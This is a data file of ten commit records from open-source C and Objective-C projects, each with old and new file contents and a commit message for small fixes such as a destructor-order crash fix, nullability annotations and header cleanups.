{"commit":"9be8ac9ad3f94875a9381555d8859f289c59d6df","old_file":"application\/browser\/application_system_linux.h","new_file":"application\/browser\/application_system_linux.h","old_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n#define XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n\n#include \"xwalk\/application\/browser\/application_system.h\"\n\nnamespace xwalk {\nclass DBusManager;\n}\n\nnamespace xwalk {\nnamespace application {\n\nclass ApplicationServiceProviderLinux;\n\nclass ApplicationSystemLinux : public ApplicationSystem {\n public:\n  explicit ApplicationSystemLinux(RuntimeContext* runtime_context);\n  virtual ~ApplicationSystemLinux();\n\n  DBusManager& dbus_manager();\n\n private:\n  scoped_ptr<ApplicationServiceProviderLinux> service_provider_;\n  scoped_ptr<DBusManager> dbus_manager_;\n\n  DISALLOW_COPY_AND_ASSIGN(ApplicationSystemLinux);\n};\n\n}  \/\/ namespace application\n}  \/\/ namespace xwalk\n\n#endif  \/\/ XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n","new_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n#define XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n\n#include \"xwalk\/application\/browser\/application_system.h\"\n\nnamespace xwalk {\nclass DBusManager;\n}\n\nnamespace xwalk {\nnamespace application {\n\nclass ApplicationServiceProviderLinux;\n\nclass ApplicationSystemLinux : public ApplicationSystem {\n public:\n  explicit ApplicationSystemLinux(RuntimeContext* runtime_context);\n  virtual ~ApplicationSystemLinux();\n\n  DBusManager& dbus_manager();\n\n private:\n  scoped_ptr<DBusManager> dbus_manager_;\n  scoped_ptr<ApplicationServiceProviderLinux> service_provider_;\n\n  DISALLOW_COPY_AND_ASSIGN(ApplicationSystemLinux);\n};\n\n}  \/\/ namespace application\n}  \/\/ namespace xwalk\n\n#endif  \/\/ XWALK_APPLICATION_BROWSER_APPLICATION_SYSTEM_LINUX_H_\n","subject":"Fix crash when shutting down","message":"[Application][D-Bus] Fix crash when shutting down\n\nDBusManager owns the Bus connection and was being destroyed before the\nservice provider that uses it.\n\nTEST=Loaded xwalk --run-as-service and xwalkctl <APP_ID> then closed the\nwindow. The first process should not crash but exit cleanly.\n","lang":"C","license":"bsd-3-clause","repos":"tedshroyer\/crosswalk,minggangw\/crosswalk,axinging\/crosswalk,xzhan96\/crosswalk,RafuCater\/crosswalk,tedshroyer\/crosswalk,stonegithubs\/crosswalk,dreamsxin\/crosswalk,Bysmyyr\/crosswalk,crosswalk-project\/crosswalk-efl,siovene\/crosswalk,RafuCater\/crosswalk,axinging\/crosswalk,darktears\/crosswalk,chinakids\/crosswalk,xzhan96\/crosswalk,darktears\/crosswalk,ZhengXinCN\/crosswalk,dreamsxin\/crosswalk,stonegithubs\/crosswalk,PeterWangIntel\/crosswalk,chuan9\/crosswalk,chuan9\/crosswalk,fujunwei\/crosswalk,chuan9\/crosswalk,bestwpw\/crosswalk,chuan9\/crosswalk,lincsoon\/crosswalk,tedshroyer\/crosswalk,jpike88\/crosswalk,lincsoon\/crosswalk,weiyirong\/crosswalk-1,huningxin\/crosswalk,siovene\/crosswalk,amaniak\/crosswalk,chinakids\/crosswalk,jpike88\/crosswalk,qjia7\/crosswalk,minggangw\/crosswalk,crosswalk-project\/crosswalk-efl,bestwpw\/crosswalk,shaochangbin\/crosswalk,tomatell\/crosswalk,jpike88\/crosswalk,crosswalk-project\/crosswalk-efl,crosswalk-project\/crosswalk-efl,minggangw\/crosswalk,siovene\/crosswalk,tedshroyer\/crosswalk,hgl888\/crosswalk-efl,marcuspridham\/crosswalk,jondong\/crosswalk,amaniak\/crosswalk,hgl888\/crosswalk,siovene\/crosswalk,TheDirtyCalvinist\/spacewalk,bestwpw\/crosswalk,hgl888\/crosswalk,weiyirong\/crosswalk-1,hgl888\/crosswalk,ZhengXinCN\/crosswalk,lincsoon\/crosswalk,stonegithubs\/crosswalk,lincsoon\/crosswalk,PeterWangIntel\/crosswalk,pk-sam\/crosswalk,mrunalk\/crosswalk,baleboy\/crosswalk,jondwillis\/crosswalk,XiaosongWei\/crosswalk,RafuCater\/crosswalk,DonnaWuDongxia\/crosswalk,TheDirtyCalvinist\/spacewalk,XiaosongWei\/crosswalk,crosswalk-project\/crosswalk,zliang7\/crosswalk,stonegithubs\/crosswalk,shaochangbin\/crosswalk,huningxin\/crosswalk,TheDirtyCalvinist\/spacewalk,lincsoon\/crosswalk,shaochangbin\/crosswalk,amaniak\/crosswalk,qjia7\/crosswalk,dreamsxin\/crosswalk,myroot\/crosswalk,crosswalk-project\/crosswalk,zeropool\/crosswalk,baleboy\/crosswalk,jondwillis\/crosswalk,stonegithubs\/crosswalk,pk-sam\/crosswalk,stonegithubs\/crosswalk,fujunwei\/crosswalk,tedshroyer\/crosswalk,ZhengXinCN\/crosswalk,minggangw\/crosswalk,zeropool\/crosswalk,pk-sam\/crosswalk,leonhsl\/crosswalk,minggangw\/crosswalk,axinging\/crosswalk,chuan9\/crosswalk,baleboy\/crosswalk,hgl888\/crosswalk,fujunwei\/crosswalk,zeropool\/crosswalk,axinging\/crosswalk,bestwpw\/crosswalk,baleboy\/crosswalk,marcuspridham\/crosswalk,shaochangbin\/crosswalk,dreamsxin\/crosswalk,alex-zhang\/crosswalk,RafuCater\/crosswalk,PeterWangIntel\/crosswalk,huningxin\/crosswalk,jpike88\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk-efl,TheDirtyCalvinist\/spacewalk,heke123\/crosswalk,DonnaWuDongxia\/crosswalk,qjia7\/crosswalk,marcuspridham\/crosswalk,heke123\/crosswalk,weiyirong\/crosswalk-1,Bysmyyr\/crosswalk,myroot\/crosswalk,hgl888\/crosswalk,rakuco\/crosswalk,fujunwei\/crosswalk,jondwillis\/crosswalk,qjia7\/crosswalk,zliang7\/crosswalk,amaniak\/crosswalk,tomatell\/crosswalk,shaochangbin\/crosswalk,rakuco\/crosswalk,siovene\/crosswalk,weiyirong\/crosswalk-1,xzhan96\/crosswalk,marcuspridham\/crosswalk,DonnaWuDongxia\/crosswalk,PeterWangIntel\/crosswalk,DonnaWuDongxia\/crosswalk,chinakids\/crosswalk,lincsoon\/crosswalk,heke123\/crosswalk,pk-sam\/crosswalk,rakuco\/crosswalk,tomatell\/crosswalk,huningxin\/crosswalk,siovene\/crosswalk,rakuco\/crosswalk,jondwillis\/crosswalk,darktears\/crosswalk,axinging\/crosswalk,alex-zhang\/crosswalk,zliang7\/crosswalk,RafuCater\/crosswalk,zeropool\/crosswalk,marcuspridham\/crosswalk,bestwpw\/crosswalk,heke123\/crosswalk,lincsoon\/crosswalk,hgl888\/crosswalk-efl,Bysmyyr\/crosswalk,zliang7\/crosswalk,jondwillis\/crosswalk,TheDirtyCalvinist\/spacewalk,crosswalk-project\/crosswalk,XiaosongWei\/crosswalk,heke123\/crosswalk,huningxin\/crosswalk,Pluto-tv\/crosswalk,hgl888\/crosswalk,leonhsl\/crosswalk,rakuco\/crosswalk,alex-zhang\/crosswalk,crosswalk-project\/crosswalk,qjia7\/crosswalk,Bysmyyr\/crosswalk,jpike88\/crosswalk,zliang7\/crosswalk,minggangw\/crosswalk,Pluto-tv\/crosswalk,crosswalk-project\/crosswalk-efl,axinging\/crosswalk,ZhengXinCN\/crosswalk,baleboy\/crosswalk,tedshroyer\/crosswalk,jondong\/crosswalk,marcuspridham\/crosswalk,baleboy\/crosswalk,hgl888\/crosswalk-efl,zeropool\/crosswalk,marcuspridham\/crosswalk,alex-zhang\/crosswalk,zeropool\/crosswalk,TheDirtyCalvinist\/spacewalk,tedshroyer\/crosswalk,XiaosongWei\/crosswalk,mrunalk\/crosswalk,huningxin\/crosswalk,Bysmyyr\/crosswalk,Pluto-tv\/crosswalk,Bysmyyr\/crosswalk,chinakids\/crosswalk,xzhan96\/crosswalk,darktears\/crosswalk,marcuspridham\/crosswalk,RafuCater\/crosswalk,Pluto-tv\/crosswalk,amaniak\/crosswalk,leonhsl\/crosswalk,DonnaWuDongxia\/crosswalk,myroot\/crosswalk,alex-zhang\/crosswalk,mrunalk\/crosswalk,xzhan96\/crosswalk,crosswalk-project\/crosswalk,Bysmyyr\/crosswalk,Bysmyyr\/crosswalk,tomatell\/crosswalk,fujunwei\/crosswalk,zliang7\/crosswalk,jpike88\/crosswalk,fujunwei\/crosswalk,pk-sam\/crosswalk,zliang7\/crosswalk,Pluto-tv\/crosswalk,rakuco\/crosswalk,tomatell\/crosswalk,jondwillis\/crosswalk,ZhengXinCN\/crosswalk,shaochangbin\/crosswalk,bestwpw\/crosswalk,XiaosongWei\/crosswalk,myroot\/crosswalk,siovene\/crosswalk,zeropool\/crosswalk,dreamsxin\/crosswalk,stonegithubs\/crosswalk,DonnaWuDongxia\/crosswalk,bestwpw\/crosswalk,jondong\/crosswalk,leonhsl\/crosswalk,xzhan96\/crosswalk,fujunwei\/crosswalk,axinging\/crosswalk,jondong\/crosswalk,lincsoon\/crosswalk,weiyirong\/crosswalk-1,darktears\/crosswalk,heke123\/crosswalk,RafuCater\/crosswalk,darktears\/crosswalk,minggangw\/crosswalk,ZhengXinCN\/crosswalk,chinakids\/crosswalk,hgl888\/crosswalk-efl,leonhsl\/crosswalk,leonhsl\/crosswalk,qjia7\/crosswalk,tomatell\/crosswalk,xzhan96\/crosswalk,dreamsxin\/crosswalk,crosswalk-project\/crosswalk,jondwillis\/crosswalk,weiyirong\/crosswalk-1,darktears\/crosswalk,tomatell\/crosswalk,crosswalk-project\/crosswalk,amaniak\/crosswalk,darktears\/crosswalk,chuan9\/crosswalk,baleboy\/crosswalk,crosswalk-project\/crosswalk-efl,crosswalk-project\/crosswalk,weiyirong\/crosswalk-1,Pluto-tv\/crosswalk,myroot\/crosswalk,myroot\/crosswalk,rakuco\/crosswalk,rakuco\/crosswalk,mrunalk\/crosswalk,minggangw\/crosswalk,XiaosongWei\/crosswalk,ZhengXinCN\/crosswalk,jondong\/crosswalk,chuan9\/crosswalk,heke123\/crosswalk,mrunalk\/crosswalk,XiaosongWei\/crosswalk,crosswalk-project\/crosswalk-efl,PeterWangIntel\/crosswalk,alex-zhang\/crosswalk,jondong\/crosswalk,pk-sam\/crosswalk,PeterWangIntel\/crosswalk,jpike88\/crosswalk,jondong\/crosswalk,mrunalk\/crosswalk,dreamsxin\/crosswalk,xzhan96\/crosswalk,amaniak\/crosswalk,chinakids\/crosswalk,DonnaWuDongxia\/crosswalk,jondong\/crosswalk,PeterWangIntel\/crosswalk,heke123\/crosswalk,pk-sam\/crosswalk,zliang7\/crosswalk,hgl888\/crosswalk-efl,alex-zhang\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk-efl,leonhsl\/crosswalk,Pluto-tv\/crosswalk,baleboy\/crosswalk"}
{"commit":"fc0fdb4850d5dd1808c4f76e809013c842230bb5","old_file":"RxCocoa\/Common\/_RXDelegateProxy.h","new_file":"RxCocoa\/Common\/_RXDelegateProxy.h","old_contents":"\/\/\n\/\/  _RXDelegateProxy.h\n\/\/  RxCocoa\n\/\/\n\/\/  Created by Krunoslav Zaher on 7\/4\/15.\n\/\/  Copyright © 2015 Krunoslav Zaher. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface _RXDelegateProxy : NSObject\n\n@property (nonatomic, assign, readonly) id _forwardToDelegate;\n\n-(void)_setForwardToDelegate:(id)forwardToDelegate retainDelegate:(BOOL)retainDelegate;\n\n-(BOOL)hasWiredImplementationForSelector:(SEL)selector;\n\n-(void)interceptedSelector:(SEL)selector withArguments:(NSArray*)arguments;\n\n@end\n","new_contents":"\/\/\n\/\/  _RXDelegateProxy.h\n\/\/  RxCocoa\n\/\/\n\/\/  Created by Krunoslav Zaher on 7\/4\/15.\n\/\/  Copyright © 2015 Krunoslav Zaher. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface _RXDelegateProxy : NSObject\n\n@property (nonatomic, weak, readonly) id _forwardToDelegate;\n\n-(void)_setForwardToDelegate:(id)forwardToDelegate retainDelegate:(BOOL)retainDelegate;\n\n-(BOOL)hasWiredImplementationForSelector:(SEL)selector;\n\n-(void)interceptedSelector:(SEL)selector withArguments:(NSArray*)arguments;\n\n@end\n","subject":"Change _forwardToDelegate to weak reference","message":"Change _forwardToDelegate to weak reference\n","lang":"C","license":"mit","repos":"shiratsu\/RxSwift,shiratsu\/RxSwift,KyoheiG3\/RxSwift,shiratsu\/RxSwift,KyoheiG3\/RxSwift,cfraz89\/RxSwift,ReactiveX\/RxSwift,tottakai\/RxSwift,cfraz89\/RxSwift,kzaher\/RxSwift,kzaher\/RxSwift,ReactiveX\/RxSwift,kzaher\/RxSwift,ReactiveX\/RxSwift,tottakai\/RxSwift,KyoheiG3\/RxSwift,cfraz89\/RxSwift,kzaher\/RxSwift,tottakai\/RxSwift,cfraz89\/RxSwift"}
{"commit":"9bf1cd7fc3550b5d79e13d4254efcd313739fe7e","old_file":"adm\/cmake\/TKService\/Precompiled.h","new_file":"adm\/cmake\/TKService\/Precompiled.h","old_contents":"#pragma once\n\n#include \"..\/TKernel\/Precompiled.h\"\n#include \"..\/TKMath\/Precompiled.h\"\n\n#include \"Standard.hxx\"\n#include \"Aspect.hxx\"\n#include \"Aspect_Handle.hxx\"\n#include \"Image.hxx\"\n#include \"SelectBasics.hxx\"\n","new_contents":"#pragma once\n\n#include \"..\/TKernel\/Precompiled.h\"\n#include \"..\/TKMath\/Precompiled.h\"\n\n#include \"Standard.hxx\"\n#include \"Aspect.hxx\"\n#include \"Aspect_Handle.hxx\"\n#include \"SelectBasics.hxx\"\n","subject":"Fix precompiled headers, Image.hxx has been removed from OCCT 6.7.0","message":"Fix precompiled headers, Image.hxx has been removed from OCCT 6.7.0\n","lang":"C","license":"lgpl-2.1","repos":"finetjul\/oce,BenoitPerrot\/oce,heartvalve\/oce,BenoitPerrot\/oce,finetjul\/oce,heartvalve\/oce,heartvalve\/oce,tpaviot\/oce,EvgeneOskin\/oce,Tech-XCorp\/oce,finetjul\/oce,BenoitPerrot\/oce,tpaviot\/oce,mathstuf\/oce,tpaviot\/oce,Tridify\/oce,tpaviot\/oce,tpaviot\/oce,Tech-XCorp\/oce,finetjul\/oce,Tridify\/oce,Tridify\/oce,mathstuf\/oce,mathstuf\/oce,EvgeneOskin\/oce,heartvalve\/oce,EvgeneOskin\/oce,Tridify\/oce,BenoitPerrot\/oce,EvgeneOskin\/oce,BenoitPerrot\/oce,heartvalve\/oce,mathstuf\/oce,Tech-XCorp\/oce,finetjul\/oce,Tridify\/oce,mathstuf\/oce,Tech-XCorp\/oce,Tech-XCorp\/oce,EvgeneOskin\/oce"}
{"commit":"2ed204919448fbe01f632dad7c6772bf7a83189a","old_file":"ex01-19.c","new_file":"ex01-19.c","old_contents":"","new_contents":"\/** Exercise 1.19\n * Write a function reverse(s) that reverses the character string s. Use it to\n * write a program that reverses its input a line at a time.\n *\/\n#include <stdio.h>\n\n#define BUFSIZE 1024\n\nint _getline(char[], int);\nvoid reverse(char[], int);\n\nmain() {\n    char line[BUFSIZE];\n    int length;\n\n    while ((length = _getline(line, BUFSIZE)) > 0) {\n        if (line[length-1] == '\\n') {\n            length--;\n        }\n        reverse(line, length);\n        printf(\"%s\", line);\n    }\n\n    return 0;\n}\n\nint _getline(char s[], int lim) {\n    int c, i;\n\n    for (i=0; i<lim-1 && (c=getchar())!=EOF && c != '\\n'; ++i) {\n        s[i] = c;\n    }\n    if (c == '\\n') {\n        s[i] = c;\n        ++i;\n    }\n    s[i] = '\\0';\n    return i;\n}\n\nvoid reverse(char s[], int size) {\n    if (size < 2) {\n        return;\n    }\n\n    int i, j;\n    char tmp;\n\n    for (i = 0, j = size - 1; i < size\/2; ++i, --j) {\n        tmp = s[i];\n        s[i] = s[j];\n        s[j] = tmp;\n    }\n}\n","subject":"Add solution for exercise 19.","message":"Add solution for exercise 19.\n","lang":"C","license":"unlicense","repos":"kdungs\/exercises-KnR"}
{"commit":"0249741443cad6e6de2f1c63765d9508733ec711","old_file":"Hauth\/Hauth.h","new_file":"Hauth\/Hauth.h","old_contents":"\/\/\n\/\/  Hauth.h\n\/\/  Hauth\n\/\/\n\/\/  Created by Rizwan Sattar on 11\/7\/15.\n\/\/  Copyright © 2015 Rizwan Sattar. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Hauth.\nFOUNDATION_EXPORT double HauthVersionNumber;\n\n\/\/! Project version string for Hauth.\nFOUNDATION_EXPORT const unsigned char HauthVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Hauth\/PublicHeader.h>\n#import <Hauth\/HauthStreamsController.h>\n#import <Hauth\/HauthClient.h>\n#import <Hauth\/HauthServer.h>\n\n","new_contents":"\/\/\n\/\/  Hauth.h\n\/\/  Hauth\n\/\/\n\/\/  Created by Rizwan Sattar on 11\/7\/15.\n\/\/  Copyright © 2015 Rizwan Sattar. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Hauth.\nFOUNDATION_EXPORT double HauthVersionNumber;\n\n\/\/! Project version string for Hauth.\nFOUNDATION_EXPORT const unsigned char HauthVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Hauth\/PublicHeader.h>\n\n\/\/ NOTE: In Xcode 7.1, if two frameworks have the same module name (\"Hauth\"),\n\/\/ then sometimes one of the frameworks (in my case, tvOS) doesn't compile correctly,\n\/\/ complaining of the inclusion of \"non-modular headers\". So make these\n\/\/ non modular import calls here.\n#import \"HauthStreamsController.h\"\n#import \"HauthClient.h\"\n#import \"HauthServer.h\"\n\/\/#import <Hauth\/HauthStreamsController.h>\n\/\/#import <Hauth\/HauthClient.h>\n\/\/#import <Hauth\/HauthServer.h>\n\n","subject":"Use \"\" imports instead of <> in main fmwk header","message":"Use \"\" imports instead of <> in main fmwk header\n\nXcode 7.1 seems to be having issues with the framework being the same module name and existing as 2 different targets (one tvOS, and one iOS). It complains in the tvOS app that the framework includes 'non-modular' headers in the framework. Changing it to quotes for now seems to fix this. Let's revisit with Xcode 7.2\n","lang":"C","license":"mit","repos":"almas73\/Voucher,rsattar\/Voucher,almas73\/Voucher,rsattar\/Voucher"}
{"commit":"defd9b3ae1e0b567242f68307af74272edd24a96","old_file":"config.h","new_file":"config.h","old_contents":"#ifdef __linux__\n# define _GNU_SOURCE\n# include <bsd\/stdlib.h>\n# include <grp.h>\nint\tsetresgid(gid_t, gid_t, gid_t);\nint\tsetresuid(gid_t, gid_t, gid_t);\n#endif\n\n#ifdef __FreeBSD__\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <resolv.h>\n#endif\n","new_contents":"\/*\n * Require libbsd's stdlib.h for arc4random() etc.\n * Require <grp.h> for setgroups().\n *\/\n#ifdef __linux__\n# define _GNU_SOURCE\n# include <bsd\/stdlib.h>\n# include <grp.h>\n#endif\n\n\/*\n * Neither Linux nor Apple have this.\n *\/\n#if defined(__linux__) || defined(__APPLE__)\n# include <unistd.h>\nint\tsetresgid(gid_t, gid_t, gid_t);\nint\tsetresuid(gid_t, gid_t, gid_t);\n#endif\n\n\/*\n * FreeBSD goop.\n *\/\n#ifdef __FreeBSD__\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <resolv.h>\n#endif\n","subject":"Document goop and have both Linux and Mac OS X define setresuid et al.","message":"Document goop and have both Linux and Mac OS X define setresuid et al.\n","lang":"C","license":"isc","repos":"kristapsdz\/letskencrypt-portable"}
{"commit":"535d84e007d476364e0e3c40fd3ac9c6bb230b5b","old_file":"src\/appleseed.shaders\/include\/appleseed\/maya\/as_maya_transform_helpers.h","new_file":"src\/appleseed.shaders\/include\/appleseed\/maya\/as_maya_transform_helpers.h","old_contents":"","new_contents":"\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2016 Luis Barrancos, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n \n#ifndef AS_MAYA_TRANSFORM_HELPERS_H\n#define AS_MAYA_TRANSFORM_HELPERS_H\n\nint outside_place3d_volume(\n    point surface_point,\n    int wrap,\n    float blend,\n    output float blend_factor)\n{\n    int outside = 0;\n    blend_factor = 0.0;\n\n    if (!wrap || blend)\n    {\n        if (!wrap)\n        {\n            \/\/ Default placement box bottom = (-1,-1,-1), top = (1,1,1), Δ=2.\n            if (surface_point[0] < -1 || surface_point[0] > 1 ||\n                surface_point[1] < -1 || surface_point[1] > 1 ||\n                surface_point[2] < -1 || surface_point[2] > 1)\n            {\n                outside = 1;\n            }\n            else if (blend)\n            {\n                float min_distance = 1.0e+19;\n\n                for (int i = 0; i < 3; ++i)\n                {\n                    min_distance = min(min_distance, min(\n                        abs(surface_point[i] - 1),\n                        abs(surface_point[i] + 1)));\n                }\n                blend_factor = min_distance * 0.5; \/\/ Δ=2\n            }\n        }\n    }\n    return outside;\n}\n\n#endif \/\/ AS_MAYA_TRANSFORM_HELPERS_H\n\n","subject":"Add placement3d node auxiliary functions","message":"Add placement3d node auxiliary functions\n","lang":"C","license":"mit","repos":"dictoon\/appleseed,Biart95\/appleseed,luisbarrancos\/appleseed,Aakash1312\/appleseed,dictoon\/appleseed,glebmish\/appleseed,Biart95\/appleseed,pjessesco\/appleseed,appleseedhq\/appleseed,est77\/appleseed,pjessesco\/appleseed,pjessesco\/appleseed,appleseedhq\/appleseed,gospodnetic\/appleseed,Aakash1312\/appleseed,est77\/appleseed,glebmish\/appleseed,aiivashchenko\/appleseed,pjessesco\/appleseed,Aakash1312\/appleseed,luisbarrancos\/appleseed,Aakash1312\/appleseed,est77\/appleseed,aiivashchenko\/appleseed,aytekaman\/appleseed,dictoon\/appleseed,gospodnetic\/appleseed,luisbarrancos\/appleseed,Biart95\/appleseed,gospodnetic\/appleseed,Vertexwahn\/appleseed,Vertexwahn\/appleseed,luisbarrancos\/appleseed,aiivashchenko\/appleseed,appleseedhq\/appleseed,gospodnetic\/appleseed,Aakash1312\/appleseed,gospodnetic\/appleseed,aytekaman\/appleseed,est77\/appleseed,glebmish\/appleseed,glebmish\/appleseed,dictoon\/appleseed,Biart95\/appleseed,aiivashchenko\/appleseed,aytekaman\/appleseed,dictoon\/appleseed,pjessesco\/appleseed,aytekaman\/appleseed,Vertexwahn\/appleseed,glebmish\/appleseed,appleseedhq\/appleseed,est77\/appleseed,aytekaman\/appleseed,Biart95\/appleseed,Vertexwahn\/appleseed,appleseedhq\/appleseed,luisbarrancos\/appleseed,aiivashchenko\/appleseed,Vertexwahn\/appleseed"}
{"commit":"fd1cb2861f5037415d2899b4dfff0c60fcdb040d","old_file":"Pod\/Classes\/CMHMutedEventUpdater.h","new_file":"Pod\/Classes\/CMHMutedEventUpdater.h","old_contents":"#import <CareKit\/CareKit.h>\n\n@interface CMHMutedEventUpdater : NSObject\n\n- (instancetype)initWithCarePlanStore:(OCKCarePlanStore *)store\n                                event:(OCKCarePlanEvent *)event\n                               result:(OCKCarePlanEventResult *)result\n                                state:(OCKCarePlanEventState)state;\n\n- (NSError *_Nullable)performUpdate;\n\n@end\n","new_contents":"#import <CareKit\/CareKit.h>\n\n@interface CMHMutedEventUpdater : NSObject\n\n- (_Nonnull instancetype)initWithCarePlanStore:(OCKCarePlanStore *_Nonnull)store\n                                         event:(OCKCarePlanEvent *_Nonnull)event\n                                        result:(OCKCarePlanEventResult *_Nullable)result\n                                         state:(OCKCarePlanEventState)state;\n\n- (NSError *_Nullable)performUpdate;\n\n@end\n","subject":"Add Nullability annotations to the event updater class","message":"Add Nullability annotations to the event updater class\n","lang":"C","license":"mit","repos":"cloudmine\/CMHealthSDK,cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK-iOS"}
{"commit":"74a6a6671adf43987f017e83bf2de55a2c29fc0e","old_file":"src\/libclientserver\/ThreadPool.h","new_file":"src\/libclientserver\/ThreadPool.h","old_contents":"\nclass ThreadPoolThread;\n\nclass ThreadPool {\n\tpublic:\n\t\tThreadPool();\n\t\tThreadPool(int nthread);\n\t\tThreadPool(int nthread, size_t maxqueue);\n\t\t~ThreadPool();\n\n\t\tvoid Add(std::function<void()> func);\n\t\tvoid Flush();\n\n\t\tvoid Execute();\n\t\t\n\t\tsize_t GetCount();\n\t\tsize_t GetHWCount();\n\n\tprotected:\n\t\tvoid Init(int nthread, size_t maxqueue);\n\n\tprivate:\n\t\tstd::atomic<uint64_t> m_totalqueued;\n\t\tstd::atomic<uint64_t> m_totalexecuted;\n\t\tQueue<std::function<void()> > m_queue;\n\t\tstd::list<ThreadPoolThread *> m_threads;\n};\n\n","new_contents":"\nclass ThreadPoolThread;\n\nclass ThreadPool {\n    public:\n        ThreadPool();\n        ThreadPool(int nthread);\n        ThreadPool(int nthread, size_t maxqueue);\n        ~ThreadPool();\n\n        void Add(std::function<void()> func);\n        void Flush();\n\n        void Execute();\n\n        size_t GetCount();\n        size_t GetHWCount();\n\n    protected:\n        void Init(int nthread, size_t maxqueue);\n\n    private:\n        std::atomic<uint64_t> m_totalqueued;\n        std::atomic<uint64_t> m_totalexecuted;\n        Queue<std::function<void()> > m_queue;\n        std::list<ThreadPoolThread *> m_threads;\n};\n\n","subject":"Convert from tabs -> spaces","message":"Convert from tabs -> spaces\n","lang":"C","license":"mit","repos":"mistralol\/libclientserver,mistralol\/libclientserver"}
{"commit":"80d3768eb5c31cd5af0b2df6648fa22e79e35379","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"\/***************************************************************************\/\/**\n\n  @file         main.c\n\n  @author       Stephen Brennan\n\n  @date         Created Thursday, 12 September 2013\n\n  @brief        Run tests on the libstephen library.\n\n  @copyright    Copyright (c) 2013-2015, Stephen Brennan.  Released under the\n                Revised BSD License.  See the LICENSE.txt file for details.\n\n*******************************************************************************\/\n\n#include <stdio.h>\n\n#include \"libstephen\/base.h\"\n#include \"tests.h\"\n\n\/**\n   Main test function\n *\/\nint main(int argc, char ** argv)\n{\n  linked_list_test();\n  array_list_test();\n  hash_table_test();\n  bit_field_test();\n  iter_test();\n  list_test();\n  args_test();\n  charbuf_test();\n  log_test();\n  string_test();\n  fsm_test();\n  fsm_io_test();\n  regex_test();\n  regex_search_test();\n  \/\/ return args_test_main(argc, argv);\n}\n","new_contents":"\/***************************************************************************\/\/**\n\n  @file         main.c\n\n  @author       Stephen Brennan\n\n  @date         Created Thursday, 12 September 2013\n\n  @brief        Run tests on the libstephen library.\n\n  @copyright    Copyright (c) 2013-2015, Stephen Brennan.  Released under the\n                Revised BSD License.  See the LICENSE.txt file for details.\n\n*******************************************************************************\/\n\n#include <stdio.h>\n\n#include \"libstephen\/base.h\"\n#include \"libstephen\/log.h\"\n#include \"tests.h\"\n\n\/**\n   Main test function\n *\/\nint main(int argc, char ** argv)\n{\n  sl_set_level(NULL, LEVEL_INFO);\n  linked_list_test();\n  array_list_test();\n  hash_table_test();\n  bit_field_test();\n  iter_test();\n  list_test();\n  args_test();\n  charbuf_test();\n  string_test();\n  fsm_test();\n  fsm_io_test();\n  regex_test();\n  regex_search_test();\n  log_test();\n  \/\/ return args_test_main(argc, argv);\n}\n","subject":"Set log level in tests.","message":"Set log level in tests.\n","lang":"C","license":"bsd-3-clause","repos":"brenns10\/libstephen,brenns10\/libstephen,brenns10\/libstephen"}
